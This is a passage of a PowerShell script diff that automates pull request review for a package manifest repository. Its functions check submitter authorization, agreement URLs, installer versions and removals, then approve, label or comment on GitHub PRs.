Start-Sleep 5 + + $HourLatch = $False + $WatchLatch = $False + }; #end while true +}; #end function + +#Third tab +Function Get-PRWatch { + [CmdletBinding()] + Param( + [switch]$noNew, + [string]$LogFile = ".\PR.txt", + $oldclip = $Enum.Char.Blank, + [ValidateScript( { $_ -in (Get-Keys $Enum.SearchPresets)})][string]$SearchPreset = $Enum.SearchPresets.Approval2, + $PRePipeline = $false, + [switch]$DirectMode, + [switch]$Continuous, + $AuthList = (Get-ValidationData -Property authStrictness), + $AgreementsList = (Get-ValidationData -Property AgreementUrl), + $ReviewList = (Get-LoadFileIfExists $ReviewFile), + $QueryClipboard = (Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch), + [int]$Page = $Enum.Num.One, + [switch]$Patch, + [switch]$WhatIf, + [switch]$Display + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRWatch Start"}; + [string]$PRtitle = "" + $ManifestReview = $True + $ResultsCount = 0 + $RunStart = Get-Date + Write-Log " | Timestmp | $(Get-PadRight PR# 6) | $(Get-PadRight PackageIdentifier) | $(Get-PadRight prVersion 15) | A | R | G | W | F | I | D | V | $(Get-PadRight ManifestVer 14) | OK |" + Write-Log " | -------- | ----- | ------------------------------- | -------------- | - | - | - | - | - | - | - | - | ------------- | -- |" + $Run = $True + while($Run -eq $True){ + if ($WhatIf) { + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-(WhatIf) Watcher" + } else { + $Host.UI.RawUI.WindowTitle = "(WhatIf) Watcher"#I'm the Fisher King, and "What if I watched PRs go by" is my question. + } + } else { + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-PR Watcher" + } else { + $Host.UI.RawUI.WindowTitle = "PR Watcher"#I'm a PR Watcher, watchin PRs go by. + } + } + if ($DirectMode) { + [int]$PR = 0 + $QueryClipboard = (Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch) + $PR = (Get-QueryClipboard -Query $Enum.ClipboardQueries.AllPRsOnClipboard) + if ($PR -gt 0) { + $PRData = Get-PRData $PR + $PRtitle = $PRData.title + } + if ($Display) {Write-Host "DirectMode PRtitle $PRtitle"} + $Results = $PR + } else { + $RunStart = Get-Date + if ($Display) {Write-Host "Gathering PR numbers for $SearchPreset"} + $FullResults = Get-SearchGitHub -Preset $SearchPreset -nBMM -Page $Page + $Results = $FullResults.number + $ResultsCount = $Results.Count + if ($Display) {Write-Host "Found $ResultsCount PRs"} + } + foreach ($PR in $Results) { + $FullPR = $FullResults | where {$_.number -match $PR} + if ($Display) {Write-Host "Processing PR $PR"} + if ($DirectMode) { + } else { + if ($Patch) { + $QueryClipboard = Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch -StrArray ((Get-PRManifest -pr $PR -Patch) -split "`n") + } else { + $QueryClipboard = Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch -StrArray ((Get-PRManifest -pr $PR) -split "`n") + } + $PRtitle = $FullPR.title; + if ($Display) {Write-Host "PR title $PRTitle"} + } + if ($PRtitle) { + if (Compare-Object $PRtitle $oldclip) { + $validColor = $Enum.PSColors.Green + $invalidColor = $Enum.PSColors.Red + $cautionColor = $Enum.PSColors.Yellow + + $noRecord = $False + $WinGetOutput = "" + $title = $PRtitle -split ": " + if ($title[$Enum.Index.Second]) { + $title = $title[$Enum.Index.Second] -split $Enum.Char.Space + } else { + $title = $title -split $Enum.Char.Space + } + [string]$Submitter = $PRData.user.login + [string]$InstallerType = $QueryClipboard.InstallerType + [string]$PRVersion = $QueryClipboard.PackageVersion + [string]$PackageIdentifier = $QueryClipboard.PackageIdentifier + $matchColor = $validColor + if ($Display) {Write-Host "PackageIdentifier $PackageIdentifier"} + + + + + Write-Log " | $(Get-Date -Format $($Enum.Char.T)) | $PR | $(Get-PadRight $PackageIdentifier) | " -nonewline -ForegroundColor $matchColor + + + + #Variable effervescence + $PRAuth = $Enum.Char.Plus + $Auth = "A" + $Review = "R" + $WordFilter = "W" + $AgreementAccept = "G" + $AnF = "F" + $InstVer = "I" + $ListingDiff = "D" + $NumVersions = 99 + $PRvMan = "P" + $Approve = $Enum.Char.Plus + + $ValToEval = $Enum.Char.Blank + + If ($PackageIdentifier.Length -gt 3) { + + # $fullPR.labels.name -match $Enum.PRLabels.NP + $ManifestVersion = Get-ManifestVersion -PackageIdentifier $PackageIdentifier + $ManifestVersionParams = ($ManifestVersion -split "[.]").Count + $PRVersionParams = ($PRVersion -split "[.]").Count + + + #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ + #-------------------------- Auth ----------------------------- + #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// + + + $AuthMatch = $AuthList | Where-Object {$PackageIdentifier -cmatch $_.PackageIdentifier} + if ($AuthMatch.PackageIdentifier -notmatch "\*") { + $AuthMatch = $AuthList | Where-Object {$_.PackageIdentifier -ceq $PackageIdentifier} + } + + if ($QueryClipboard.ManifestReview -eq $false) { + $Approve = $Enum.Char.NotExclamation + } + if ($AuthMatch) { + $AuthAccount = $AuthMatch.GitHubUserName | Sort-Object -Unique + } + $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining + if ($GhRlRemain -le 0) { + $WinGetOutput = (Find-WinGetPackage $PackageIdentifier) + $ValToEval = $WinGetOutput + } else { + $ValToEval = $ManifestVersion + } + + if ($null -eq $ValToEval) { + $PRvMan = "N" + $matchColor = $invalidColor + $Approve = $Enum.Char.NotExclamation + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NP + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NM + if ($noNew) { + $noRecord = $True + } else { + Add-PRToQueue -PR $PR + # if ($title[$Enum.Index.Last] -match $Enum.Regex.hashPRRegex) { + # if ((Get-Command Get-TrackerVMValidate).name) { + #Add-PRToQueue -PR $PR + # Get-TrackerVMValidate -Silent -InspectNew + # } else { + # Get-Sandbox ($title[$Enum.Index.Last] -replace $Enum.Char.Hash,$Enum.Char.Blank) + # }; #end if Get-Command + # }; #end if title + }; #end if noNew + } + Write-Log "$(Get-PadRight $PRVersion.toString() 14) | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + + if ($AuthMatch) { + $strictness = $AuthMatch.authStrictness | Sort-Object -Unique + $matchVar = $Enum.Char.Blank + $matchColor = $cautionColor + $AuthAccount -split $Enum.Char.Slash| where {$_ -notmatch "Microsoft"} | %{ + #Write-Host "This $_ Submitter $Submitter" + if ($_ -ceq $Submitter) { + $matchVar = "matches" + $Auth = $Enum.Char.Plus + $matchColor = $validColor + } + foreach ($User in ((Invoke-GitHubPRRequest -PR $PR -Type reviews -Output Content).user.login | Select-Object -Unique)) { + if ($Submitter -match $User) { + $matchVar = "preapproved" + $Auth = $Enum.Char.Plus + $matchColor = $validColor + } + } + } + + if ($matchVar -eq $Enum.Char.Blank) { + $matchVar = $enum.strings.DoesNotMatch + $Auth = $Enum.Char.Dash + $matchColor = $invalidColor + } + if ($strictness -eq "must") { + $Auth += "!" + } + } + if ($Auth -eq $Enum.Char.NotExclamation) { + if (!$WhatIf) { + Get-PRApproval -PR $PR -PackageIdentifier $PackageIdentifier + } + } + Write-Log "$Auth | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + + #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ + #-------------------------- Review---------------------------- + #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// + + $ReviewMatch = $ReviewList | Where-Object {$_.PackageIdentifier -ceq $PackageIdentifier } + if ($ReviewMatch) { + $Review = $ReviewMatch.Reason | Sort-Object -Unique + $matchColor = $cautionColor + } + + Write-Log "$Review | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + #In list, matches PR - explicit pass + #In list, PR has no Installer.yaml - implicit pass + #In list, missing from PR - block + #In list, mismatch from PR - block + #Not in list or PR - pass + #Not in list, in PR - alert and pass? + #Check previous version for omission - depend on wingetbot for now. + $AgreementUrlFromList = ($AgreementsList | where {$_.PackageIdentifier -ceq $PackageIdentifier}).AgreementUrl + if ($AgreementUrlFromList) { + $AgreementUrlFromClip = $QueryClipboard.AgreementUrl + if ($AgreementUrlFromClip -ceq $AgreementUrlFromList) { + #Explicit Approve - URL is present and matches. + $AgreementAccept = " + !" + } else { + #Explicit mismatch - URL is present and does not match, or URL is missing. + $AgreementAccept = $Enum.Char.NotExclamation + $ApproverUserName = ($AgreementsList | where {$_.PackageIdentifier -ceq $PackageIdentifier}).gitHubUserName + if ($WhatIf) { + "Reply-ToPR -PR $PR -CannedMessage $($Enum.CannedMessages.AgreementMismatch) -UserInput $ApproverUserName -Silent" + } else { + Reply-ToPR -PR $PR -CannedMessage $Enum.CannedMessages.AgreementMismatch -UserInput $ApproverUserName -Silent -Automated + } + } + } else { + $AgreementAccept = $Enum.Char.Plus + #Implicit Approve - your AgreementsUrl is in another file. Can't modify what isn't there. + } + Write-Log "$AgreementAccept | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + + + + #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ + #-------------------------- Word Filter --------------------- + #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// + + + if (($PRtitle -notmatch $Enum.PRWatch.AutomaticDeletion) -AND + ($PRtitle -notmatch $Enum.PRWatch.Delete) -AND + ($PRtitle -notmatch $Enum.PRWatch.Remove) -AND + ($AgreementAccept -notmatch "[ + ]")) { + + # Returns true IFF there are any matches, otherwise false. + # Not sure why teh URI and Agreement strings are here. + [bool]$WordFilterMatch = $QueryClipboard.WordFilterList + if ($WordFilterMatch) { + $WordFilter = $Enum.Char.NotExclamation + $Approve = $Enum.Char.NotExclamation + $matchColor = $invalidColor + if (!$WhatIf) { + Reply-ToPR -PR $PR -CannedMessage WordFilter -UserInput $WordFilterMatch -Silent + } + } + } + Write-Log "$WordFilter | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + + + + if ($null -ne $ValToEval) { + if (($PRvMan -ne "N") -AND + ((($Enum.DisplayVersionExceptionList) -join $Enum.Char.Space) -match $PRtitle) -AND + ($PRtitle -notmatch $Enum.PRWatch.AutomaticDeletion) -AND + ($PRtitle -notmatch $Enum.PRWatch.Delete) -AND + ($PRtitle -notmatch $Enum.PRWatch.Remove)) { + $DisplayVersion = $QueryClipboard.DisplayVersion + $DeveloperIsAuthor = (($QueryClipboard.PackageIdentifier -split ".")[0] -ceq $Submitter) + $InstallerMatch = ($InstallerUrl -split $Enum.Char.Slash) -match $Submitter + + if ($DisplayVersion) { + if ($DisplayVersion -eq $PRVersion) { + $matchColor = $invalidColor + $AnF = $Enum.Char.Dash + if (!$WhatIf) { + Reply-ToPR -PR $PR -CannedMessage AppsAndFeaturesMatch -UserInput $Submitter -Policy "[Policy] $($Enum.PRLabels.NAF)`n[Policy] $($Enum.PRLabels.CR)" -Silent + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback -Title $PRtitle + } + } + } + + # if (!($DeveloperIsAuthor)) { + # if ($InstallerMatch) { + # $matchColor = $invalidColor + # $AnF = $Enum.Char.Dash + # Reply-ToPR -PR $PR -CannedMessage InstallerMatchesSubmitter -UserInput $Submitter -Policy $Enum.PRLabels.NAF -Silent + # Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback -Title $PRtitle + # } + # } + } + } + + Write-Log "$AnF | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ + #------------- InstallerUrl Version Check --------------- + #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// + + if (($PRvMan -ne "N") -AND + ($PRtitle -notmatch $Enum.PRWatch.AutomaticDeletion) -AND + ($PRtitle -notmatch $Enum.PRWatch.Delete) -AND + ($PRtitle -notmatch $Enum.PRWatch.Remove)) { + try { + $InstallerUrl = $QueryClipboard.InstallerUrl + #Write-Host "InstallerUrl: $InstallerUrl $installerMatches prVersion: -PR $PRVersion" -f "blue" + $installerMatches = [bool]($InstallerUrl | Select-String $PRVersion) + if (!($installerMatches)) { + #Matches when the dots are removed from semantec versions in the URL. + $installerMatches2 = [bool]($InstallerUrl | Select-String ($PRVersion -replace "[.]",$Enum.Char.Blank)) + if (!($installerMatches2)) { + $matchColor = $invalidColor + $InstVer = $Enum.Char.Dash + } + } + } catch { + $matchColor = $invalidColor + $InstVer = $Enum.Char.Dash + }; #end try + }; #end if PRvMan + + try {#This section might be unnecessary now. + if (($QueryClipboard.PackageVersion) -match $Enum.Char.Space) { + $matchColor = $invalidColor + $InstVer = $Enum.Char.NotExclamation + } + }catch{} + + Write-Log "$InstVer | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ + #--------------- Highest Version Removal -------------- + #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// + + if (($PRvMan -ne "N") -AND + (($PRtitle -match $Enum.PRWatch.AutomaticDeletion) -OR + ($PRtitle -match $Enum.PRWatch.Delete) -OR + ($PRtitle -match $Enum.PRWatch.Remove))) {#Removal PR + + if ($GhRlRemain -le 0) { + $NumVersions = ($WinGetOutput.AvailableVersions | sort).Count + } else { + $NumVersions = $ListVersions.Count + } + if (($PRVersion -eq $ManifestVersion) -OR ($NumVersions -eq 1)) { + $matchColor = $invalidColor + if ($WhatIf) { + "Reply-ToPR -PR $PR -CannedMessage VersionCount -UserInput $Submitter -Silent -Policy '[Policy] $($Enum.PRLabels.NAF)`n[Policy] $($Enum.PRLabels.HVL)'" + "Add-PRToRecord -PR $PR -Action $($Enum.PRActions.Feedback) -Title $PRtitle" + } else { + Reply-ToPR -PR $PR -CannedMessage VersionCount -UserInput $Submitter -Silent -Policy "[Policy] $($Enum.PRLabels.NAF)`n[Policy] $($Enum.PRLabels.HVL)" + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback -Title $PRtitle + $NumVersions = "L" + } + } + } else {#Addition PR + }#end if PRvMan + Write-Log "$ListingDiff | " -nonewline -ForegroundColor $matchColor + Write-Log "$NumVersions | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + + #/////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\ + #-------------------------- Approval ------------------------ + #\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////// + + if ($PRvMan -ne "N") { + if ($null -eq $PRVersion -or $Enum.Char.Blank -eq $PRVersion) { + $noRecord = $True + $PRvMan = "Error:prVersion" + $matchColor = $invalidColor + } elseif ($ManifestVersion -eq "Unknown") { + $noRecord = $True + $PRvMan = "Error:ManifestVersion" + $matchColor = $invalidColor + } elseif ($null -eq $ManifestVersion) { + $noRecord = $True + + if ($GhRlRemain -le 0) { + $PRvMan = $WinGetOutput + } else { + $PRvMan = $ManifestVersion + } + $matchColor = $invalidColor + } elseif ($PRVersion -gt $ManifestVersion) { + $PRvMan = $ManifestVersion.toString() + } elseif ($PRVersion -lt $ManifestVersion) { + $PRvMan = $ManifestVersion.toString() + $matchColor = $cautionColor + } elseif ($PRVersion -eq $ManifestVersion) { + $PRvMan = " = " + } else { + $noRecord = $True + if ($GhRlRemain -le 0) { + $PRvMan = $WinGetOutput + } else { + $PRvMan = $ManifestVersion + } + }; + }; + } else { + $Approve = $Enum.Char.NotExclamation + $Auth = $Enum.Char.NotExclamation + $AnF = "F" + $InstVer = "I" + $PRAuth = $Enum.Char.NotExclamation + $Review = "R" + $ListingDiff = "D" + $NumVersions = 99 + $WordFilter = "W" + $AgreementAccept = "G" + $PRvMan = "P" + Open-PRInBrowser -PR $PR + } + + + if (($Approve -eq $Enum.Char.NotExclamation) -or + ($Auth -eq $Enum.Char.NotExclamation) -or + ($AnF -eq $Enum.Char.Dash) -or + ($InstVer -eq $Enum.Char.NotExclamation) -or + ($PRAuth -eq $Enum.Char.NotExclamation) -or + ($Review -ne "R") -or + ($ListingDiff -eq $Enum.Char.NotExclamation) -or + ($NumVersions -eq 1) -or + ($NumVersions -eq "L") -or + ($WordFilter -eq $Enum.Char.NotExclamation) -or + ($AgreementAccept -eq $Enum.Char.NotExclamation) -or + ($PRvMan -eq "N")) { + #-or ($PRvMan -match "^Error") + $matchColor = $cautionColor + $Approve = $Enum.Char.NotExclamation + $noRecord = $True + } + if ($WhatIf) { + $Approve += "W" + } + + $PRvMan = Get-PadRight $PRvMan 14 + Write-Log "$PRvMan | " -nonewline -ForegroundColor $matchColor + $matchColor = $validColor + + + + + + if ($PRePipeline -eq $false) { + if ($WhatIf) { + Write-Host "Approve-PR -PR $PR" + Write-Host "Add-PRToRecord -PR $PR -Action $($Enum.PRActions.Approved) -Title $PRtitle" + }else { + if ($Approve -eq $Enum.Char.Plus) { + $Approve = Approve-PR -PR $PR + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Approved -Title $PRtitle + } + } + } + + Write-Log "$Approve | " -ForegroundColor $matchColor + + $oldclip = $PRtitle + + }; #end if Compare-Object + }; #end if PRtitle + }; #end foreach PR + if ($DirectMode) { + $SecondsBetweenRuns = 1 + #Write-Host "Sleeping for $SecondsBetweenRuns seconds." + Start-Sleep $SecondsBetweenRuns + + } else { + $Run = $False + } + if ($Continuous) { + $Run = $True + $SleepSeconds = (30-$ResultsCount)*60 + $WakeTime = (Get-Date (Get-Date).AddSeconds($SleepSeconds)).ToString() + $RunEnd = Get-Date + $RunMinutes = ($RunEnd - $RunStart).TotalMinutes + $RunSeconds = ($RunEnd - $RunStart).TotalSeconds + $RunAvgSecPerItem = $RunSeconds/$ResultsCount + Write-Log "Last run approved $ResultsCount PRs in $RunMinutes minutes ($RunSeconds seconds), for an average of $RunAvgSecPerItem seconds per PR - sleeping until $WakeTime" + if ($WhatIf) { + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-(WhatIf) until $WakeTime" + } else { + $Host.UI.RawUI.WindowTitle = "(WhatIf) until $WakeTime" + } + } else { + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-sleeping until $WakeTime" + } else { + $Host.UI.RawUI.WindowTitle = "sleeping until $WakeTime" + } + } + Write-ApprovalStats -DateTime $RunStart -PRsApprovedDuringLastRun $ResultsCount -LastRunTookSeconds $RunSeconds -SleepUntil $WakeTime + + Sleep $SleepSeconds + } + $log = "" + + }; #end while true eq run +}; #end function + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +############################## - Automation - ############################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Get-WorkSearch { + Param( + [string[]]$PresetList = @($Enum.SearchPresets.ToWork),#Approval"," + [int]$Page = $Enum.Num.One, + [switch]$OpenInBrowser + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-WorkSearch $PresetList"}; + Foreach ($Preset in $PresetList) { + Write-Host "Preset $Preset" + $PRs = (Get-SearchGitHub -Preset $Preset -Page $Page -NoLabels -nBMM) + Write-Host "PRs.Length $($PRs.Length)" + While ($PRs.Length -gt 0) { + $line = 0 + $PRs = (Get-SearchGitHub -Preset $Preset -Page $Page -NoLabels -nBMM) + Write-Output "$(Get-Date -Format $($Enum.Char.T)) $Preset Page $Page beginning with $($PRs.Length) Results" + $PRs = $PRs | where {$_.labels} | where {$_.number -notin (Get-Status).pr} + + Foreach ($FullPR in $PRs) { + # Write-Host "FullPR $FullPR" + $PR = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $FullPR.number + Get-TrackerProgress -Activity $MyInvocation.MyCommand.name -ItemName $PR -ItemNumber $line -TotalItems $PRs.Length; $line++ + if ($Enum.PRLabels.HVL -notin $FullPR.labels.name) { + if (($FullPR.title -match $Enum.PRWatch.Remove) -OR + ($FullPR.title -match $Enum.PRWatch.Delete) -OR + ($FullPR.title -match $Enum.PRWatch.AutomaticDeletion)){ + Get-GitHubPreset CheckInstaller -PR $PR + } + } + $Comments = Get-PRComments -PR $PR + if ($Preset -eq $Enum.SearchPresets.Approval){ + if (Get-NonStdPRComments -PR $PR -comments $Comments.body){ + Open-PRInBrowser -PR $PR + } else { + Open-PRInBrowser -PR $PR -FIles + } + } elseif ($Preset -eq $Enum.SearchPresets.Defender){ + Get-GitHubPreset -Preset $Enum.GitHubPresets.LabelAction -PR $PR + } else {#ToWork etc + $Comments = ($Comments | Select-Object $Enum.Strings.CreatedAt,@{n = $Enum.Strings.UserName; e = {$_.user.login -replace $Enum.Strings.BotPrefix}},body) + $State = (Get-PRStateFromComments -PR $PR -Comments $Comments) + $LastState = $State[$Enum.Index.Last] + if ($LastState.event -eq $Enum.PRTrackerStates.DefenderFail) { + Get-PRLabelAction -PR $PR + } elseif ($LastState.event -eq $Enum.PRTrackerStates.LabelAction) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.LabelAction -PR $PR + Open-PRInBrowser -PR $PR + } else { + if ($Comments[$Enum.Index.Last].user.login -ne $Enum.GitHubUserNames.GitHubUserName) { + if ($LastState.event -eq $Enum.PRTrackerStates.PreValidation) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.LabelAction -PR $PR + } + if ($OpenInBrowser) { + Open-PRInBrowser -PR $PR + } + } + }#end if LastCommenter + }#end if Preset + }#end foreach FullPR + if ($OpenInBrowser) { + Read-Host "$(Get-Date -Format $($Enum.Char.T)) $Preset Page $Page complete with $($PRs.Length) Results - press ENTER to continue..." + } + $Page++ + }#end While Count + $Page = $Enum.Num.One + }#end Foreach Preset + Write-Progress -Activity $MyInvocation.MyCommand.name -Completed +}#end Get-WorkSearch + +Function Get-GitHubPreset { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.GitHubPresets)} )][string]$Preset, + [int]$PR, + $CannedMessage = $Preset, + $UserInput, + [Switch]$Force, + $out = $Enum.Char.Blank + ) + $PR = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubPreset $Preset"}; + if (($Preset -eq $Enum.GitHubPresets.GitHubStatus) -OR + ($Preset -eq $Enum.GitHubPresets.IdleMode) -OR + ($Preset -eq $Enum.GitHubPresets.IEDSMode) -OR + ($Preset -eq $Enum.GitHubPresets.Timeclock) -OR + ($Preset -eq $Enum.GitHubPresets.Validating) -OR + ($Preset -eq $Enum.GitHubPresets.WorkSearch)) { + $Force = $True + $out += $Preset; + } + + if (($PR.ToString().Length -eq 6) -OR $Force) { + Switch ($Preset) { + $Enum.GitHubPresets.Approved { + $out += Approve-PR -PR $PR; + Add-PRToRecord -PR $PR -Action $Preset + } + $Enum.GitHubPresets.AutomationBlock { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking + $out += Reply-ToPR -PR $PR -CannedMessage AutomationBlock -Policy $Enum.PRLabels.NB + } + $Enum.GitHubPresets.Blocking { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking + $out += Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data "[Policy] $($Enum.PRLabels.NB)" + } + $Enum.GitHubPresets.CheckInstaller { + $Pull = (Invoke-GitHubPRRequest -PR $PR -Type files -Output $Enum.PRRequestOutput.Content -JSON) + $PullInstallerContents = (Get-DecodeGitHubFile ((Invoke-GitHubRequest -Uri $Pull.contents_url[$Enum.Index.First] -JSON).content)) + $Url = (Get-YamlValue -Key InstallerUrl -InputArray $PullInstallerContents) + $out = $Enum.Char.Blank + try { + $InstallerStatus = Check-PRInstallerStatusInnerWrapper $Url + $out = "Status Code: $InstallerStatus" + }catch{ + $out = $error[$Enum.Index.First].Exception.Message + } + $Body = "URL: $Url `n" + $out+"`n`n(Automated message - build $build)" + #If ($Body -match "Response status code does not indicate success") { + #$out += Get-GitHubPreset InstallerMissing -PR $PR + #} #Need this to only take action on new PRs, not removal PRs. + $out += Reply-ToPR -PR $PR -body $Body -Automated + # $out = $out += Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output $Enum.PRRequestOutput.StatusDescription + } + $Enum.GitHubPresets.Completed { + $out += Reply-ToPR -PR $PR -Body "This package installs and launches normally in a Windows 10 VM." -Policy $Enum.PRLabels.MV + } + $Enum.GitHubPresets.Closed { + if ($UserInput) { + Add-PRToRecord -PR $PR -Action $Preset + $out += Invoke-GitHubPRRequest -PR $PR -Type $Enum.PRRequestTypes.Comments -Output $Enum.PRRequestOutput.StatusDescription -Method $Enum.PRRequestMethods.Post -Data "Close with reason: $UserInput;" + } else { + Write-Output "-UserInput needed to use Preset $Preset" + } + } + $Enum.GitHubPresets.DefenderFail { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking + $out += Get-CannedMessage -Response DefenderFail -NoClip -NotAutomated + #$out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy "Needs-Attention`n[Policy] $($Enum.PRLabels.VDE)" + } + $Enum.GitHubPresets.DriverInstall { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Blocking + $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.DI + } + $Enum.GitHubPresets.Duplicate { + if ($UserInput -match "[0-9]{5,6}") { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Closed -PR $PR -UserInput "Duplicate of #$UserInput" + } else { + Write-Output "-UserInput PRNumber needed to close as duplicate." + } + } + $Enum.GitHubPresets.Feedback { + Add-PRToRecord -PR $PR -Action $Preset + if ($UserInput) { + $out += Reply-ToPR -PR $PR -Body $UserInput -Policy $Enum.PRLabels.NAF + } else { + Write-Output "-UserInput needed to use Preset $Preset" + } + } + $Enum.GitHubPresets.GitHubStatus { + return (Invoke-GitHubRequest -Uri https://www.githubstatus.com/api/v2/summary.json -JSON) | Select-Object @{n = "Status"; e = {$_.incidents[$Enum.Index.First].status}},@{n = "Message"; e = {$_.incidents[$Enum.Index.First].name+" (" + $_.incidents.Count+")"}} + #$out += $Preset; + } + $Enum.GitHubPresets.IEDSMode { + Get-TrackerVMSetMode IEDS + } + $Enum.GitHubPresets.IdleMode { + Get-TrackerVMSetMode Idle + } + $Enum.GitHubPresets.InstallerNotSilent { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback + $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF + } + $Enum.GitHubPresets.InstallerMissing { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback + $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF + } + $Enum.GitHubPresets.LabelAction { + Get-PRLabelAction -PR $PR + } + $Enum.GitHubPresets.ManuallyValidated { + $out += Reply-ToPR -PR $PR -Body "Completing validation." -Policy $Enum.PRLabels.MV + } + $Enum.GitHubPresets.MergeConflicts { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Closed -PR $PR -UserInput "Merge Conflicts" + } + $Enum.GitHubPresets.NetworkBlocker { + Write-Output "Use AutomationBlock instead." + } + $Enum.GitHubPresets.NoInstallerChange { + $out += Reply-ToPR -PR $PR -Body "This PR doesn't modify any of the `InstallerUrl` nor `InstallerSha256` fields." -Policy $Enum.PRLabels.MV + } + $Enum.GitHubPresets.OneManifestPerPR { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback + $out += Reply-ToPR -PR $PR -CannedMessage $Enum.GitHubPresets.OneManifestPerPR -Policy $Enum.PRLabels.NAF -Automated + Get-AddPRLabel -PR $PR -Label $Enum.PRLabels.BI + } + $Enum.GitHubPresets.PRNoYamlFiles { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback + $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF + Get-GitHubPreset -Preset $Enum.GitHubPresets.MergeConflicts -PR $PR + } + $Enum.GitHubPresets.PackageUrl { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback + $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF + } + $Enum.GitHubPresets.PossibleDuplicate { + $Pull = (Invoke-GitHubPRRequest -PR $PR -Type files -Output $Enum.PRRequestOutput.Content -JSON) + $PullInstallerContents = (Get-DecodeGitHubFile ((Invoke-GitHubRequest -Uri $Pull.contents_url[$Enum.Index.First] -JSON).content)) + $Url = (Get-YamlValue -Key InstallerUrl -InputArray $PullInstallerContents) + $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData ($PullInstallerContents -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier})[0]) + # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PullInstallerContents) + $Version = (Get-ManifestVersion -PackageIdentifier $PackageIdentifier) + $out = ($PullInstallerContents -match $Version) + $UserInput = $out | where {$_ -match "http"} | where {$_ -notmatch "json"} + if ($UserInput) { + $UserInput = "InstallerUrl contains Manifest version instead of PR version:`n" + $UserInput+"`n`n(Automated message - build $build)" + $out += Reply-ToPR -PR $PR -Body $UserInput -Policy $Enum.PRLabels.NAF + Add-PRToRecord -PR $PR -Action Feedback + } + } 